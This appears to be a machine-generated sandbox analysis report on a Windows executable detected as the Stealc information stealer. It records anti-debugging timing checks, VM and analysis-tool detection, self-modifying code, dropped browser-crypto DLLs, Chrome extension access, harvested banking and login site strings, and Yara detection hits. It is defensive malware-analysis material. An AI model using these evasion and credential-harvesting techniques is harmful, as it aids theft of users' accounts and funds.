Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A55E second address: 64A56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8B0CDF43C6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A56C second address: 64A571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A6EB second address: 64A6F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A6F3 second address: 64A708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8B0CFA0380h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64EE52 second address: 64EE66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8B0CDF43CEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64EE66 second address: 64EE74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64EE74 second address: 64EE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F8B0CDF43C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64EE84 second address: 64EE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64EE8C second address: 64EE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64EE96 second address: 64EE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6590EE second address: 65912D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8B0CDF43DAh 0x00000008 jmp 00007F8B0CDF43D4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8B0CDF43D7h 0x00000016 push eax 0x00000017 jl 00007F8B0CDF43C6h 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66898C second address: 6689C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0387h 0x00000007 jg 00007F8B0CFA038Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6689C6 second address: 6689CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6689CC second address: 6689D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6689D1 second address: 6689EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CDF43CBh 0x00000009 jmp 00007F8B0CDF43CBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AA33 second address: 66AA37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AA37 second address: 66AA58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8B0CDF43D8h 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AA58 second address: 66AA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AA62 second address: 66AA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8B0CDF43C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A759 second address: 67A781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA037Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8B0CFA0385h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A781 second address: 67A785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A8BD second address: 67A8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A8C6 second address: 67A8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A8CC second address: 67A8D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AA15 second address: 67AA19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AA19 second address: 67AA2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AB55 second address: 67AB59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AB59 second address: 67AB5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B463 second address: 67B46A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F964 second address: 67F975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jp 00007F8B0CFA0384h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F975 second address: 67F979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F9CF second address: 67F9D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68337F second address: 683383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683383 second address: 6833A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8B0CFA0382h 0x0000000d jg 00007F8B0CFA0376h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F026A second address: 51F02BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8B0CDF43CFh 0x00000009 adc eax, 3A9E839Eh 0x0000000f jmp 00007F8B0CDF43D9h 0x00000014 popfd 0x00000015 mov ebx, esi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8B0CDF43D4h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F02BB second address: 51F02C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F02C1 second address: 51F02C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F02C7 second address: 51F02CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F03BC second address: 51F03D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8B0CDF43D0h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F03D2 second address: 51F03E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov ch, 17h 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 movsx edi, si 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CF40 second address: 59CF44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0B14 second address: 51F0B1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0B1A second address: 51F0B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0B1F second address: 51F0BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CFA037Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8B0CFA0381h 0x00000014 xor esi, 35043186h 0x0000001a jmp 00007F8B0CFA0381h 0x0000001f popfd 0x00000020 mov si, 2337h 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 pushad 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F8B0CFA0386h 0x0000002e jmp 00007F8B0CFA0385h 0x00000033 popfd 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 mov dx, si 0x0000003a popad 0x0000003b mov ebp, esp 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F8B0CFA037Fh 0x00000044 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3E19E1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 58B922 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5B8AF8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 621B25 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00194910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00194910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0018DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0018E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0018BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0018F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00193EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00193EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001816D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0018ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00194570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00194570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0018DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00181160 GetSystemInfo,ExitProcess,

0_2_00181160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BAAAAKJK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: BAAAAKJK.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: BAAAAKJK.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: BAAAAKJK.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: BAAAAKJK.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: BAAAAKJK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2272100008.0000000001372000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BAAAAKJK.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: BAAAAKJK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: BAAAAKJK.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: BAAAAKJK.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: BAAAAKJK.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: BAAAAKJK.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: BAAAAKJK.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: BAAAAKJK.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: BAAAAKJK.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarek
Source: BAAAAKJK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: BAAAAKJK.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: BAAAAKJK.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: BAAAAKJK.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: BAAAAKJK.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: BAAAAKJK.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: BAAAAKJK.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: BAAAAKJK.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: BAAAAKJK.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: BAAAAKJK.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: BAAAAKJK.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: BAAAAKJK.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BAAAAKJK.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: BAAAAKJK.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: BAAAAKJK.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: BAAAAKJK.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59547
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58360
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58357
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58372
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58380
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58412

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001845C0 VirtualProtect ?,00000004,00000100,00000000

0_2_001845C0

Source: C:\Users\user\Desktop\file.exe

0_2_00199860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00199750 mov eax, dword ptr fs:[00000030h]

0_2_00199750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00197850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00197850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6544, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00199600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00199600

Source: file.exe, file.exe, 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: UProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00197B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00196920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00196920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00197850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00197850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00197A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00197A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2075701252.0000000005080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
